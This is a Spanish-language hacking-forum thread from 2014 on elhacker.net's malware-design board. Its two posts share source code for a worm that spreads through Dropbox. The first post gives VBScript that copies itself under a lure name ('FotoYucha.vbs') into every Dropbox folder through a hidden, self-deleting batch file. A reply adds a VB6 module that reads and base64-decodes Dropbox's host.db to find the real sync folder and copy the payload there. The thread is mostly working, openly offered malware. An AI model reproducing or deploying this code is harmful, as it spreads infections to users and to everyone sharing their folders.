elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [VBS] [SOURCE] Dropbox Spread
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [VBS] [SOURCE] Dropbox Spread  (Leído 3,435 veces)
.BrutuS

Desconectado Desconectado

Mensajes: 11



Ver Perfil
[VBS] [SOURCE] Dropbox Spread
« en: 9 Diciembre 2014, 03:33 am »

Infecta todas las carpetas de Dropbox del usuario.

Código:
'[VBS] Dropbox Spread by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "FotoYucha.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("copy /y FotoYucha.vbs %UserProfile%\Dropbox")
ObjTextFile.WriteLine("DIR /S/B %UserProfile%\Dropbox >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y FotoYucha.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q FotoYucha.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0
En línea

Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.166


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [VBS] [SOURCE] Dropbox Spread
« Respuesta #1 en: 9 Diciembre 2014, 09:45 am »

El código no está mal, pero no está correctamente implementado. Utilizas rutas estáticas... que ocurre si ejecutas tu código en un PC cuya carpeta de dropbox esté en "E:\ejemplo\mi_dropbox" ? Para ello utiliza lo siguiente:

Código
  1. '---------------------------------------------------------------------------------------
  2. ' Modulo     :  SpreadDropbox
  3. ' Autor      :  uddtools.com
  4. ' Adapatdo: MadAntrax
  5. ' Fecha      :  16/09/2013
  6. ' Finalidad  :  Infectar la carpeta compartida Dropbox
  7. ' Uso        :  Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
  8. '               Idea extraída del foro uddtools.com, se ha modificado el código quitado dependencias
  9. '               a Microsoft Scripting Runtime
  10. '---------------------------------------------------------------------------------------
  11.  
  12. Private Sub Form_Load()
  13.    MsgBox "Dropbox Folder = " & getDropboxPath
  14.    Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
  15. End Sub
  16.  
  17. Public Sub DropboxSpread(sFilePath As String, sFileName As String)
  18.    FileCopy sFilePath, getDropboxPath & "\" & sFileName
  19. End Sub
  20.  
  21. Private Function getDropboxPath() As String
  22.    getDropboxPath = Base64Decode(Read_host(Environ("APPDATA") & "\Dropbox\host.db"))
  23. End Function
  24.  
  25. Private Function Read_host(sFile As String) As String
  26.    Dim Code As String
  27.    Open sFile For Binary Access Read As #1
  28.        Code = Space(LOF(1))
  29.        Get #1, , Code
  30.    Close #1
  31.    Read_host = Split(Code, Chr(10))(1)
  32. End Function
  33.  
  34. 'Credits to pscode.com
  35. Function Base64Decode(ByVal base64String As String) As String
  36.  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  37.  Dim dataLength, sOut, groupBegin
  38.  
  39.  base64String = Replace(base64String, vbCrLf, "")
  40.  base64String = Replace(base64String, vbTab, "")
  41.  base64String = Replace(base64String, " ", "")
  42.  
  43.  dataLength = Len(base64String)
  44.  If dataLength Mod 4 <> 0 Then Exit Function
  45.  
  46.  For groupBegin = 1 To dataLength Step 4
  47.    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  48.    numDataBytes = 3
  49.    nGroup = 0
  50.    For CharCounter = 0 To 3
  51.      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  52.      If thisChar = "=" Then
  53.        numDataBytes = numDataBytes - 1
  54.        thisData = 0
  55.      Else
  56.        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  57.      End If
  58.      If thisData = -1 Then Exit Function
  59.      nGroup = 64 * nGroup + thisData
  60.    Next
  61.    nGroup = Hex(nGroup)
  62.    nGroup = String(6 - Len(nGroup), "0") & nGroup
  63.    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  64.    sOut = sOut & Left(pOut, numDataBytes)
  65.  Next
  66.  Base64Decode = sOut
  67. End Function
  68.  
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
.BrutuS

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: [VBS] [SOURCE] Dropbox Spread
« Respuesta #2 en: 9 Diciembre 2014, 22:12 pm »

Buen codigo MadAntrax y no conocia host.db aver si lo puedo implementar.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[VBS] [SOURCE] Facebook y Twitter Spread « 1 2 3 »
Análisis y Diseño de Malware
Mad Antrax 27 24,427 Último mensaje 9 Diciembre 2014, 03:23 am
por .BrutuS
Duda sobre USB spread
Análisis y Diseño de Malware
jeshuem 9 4,239 Último mensaje 18 Marzo 2014, 22:37 pm
por xXSCORPIOXx
[vbs][source] spread usb
Scripting
daryo 1 3,239 Último mensaje 10 Diciembre 2014, 04:24 am
por .BrutuS
Metodo de USB Spread quefuncione?
Análisis y Diseño de Malware
Noblex07 2 3,607 Último mensaje 7 Junio 2014, 19:27 pm
por daryo
MOVIDO: Metodo de USB Spread quefuncione?
Ingeniería Inversa
.:UND3R:. 0 2,145 Último mensaje 30 Mayo 2014, 01:55 am
por .:UND3R:.
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines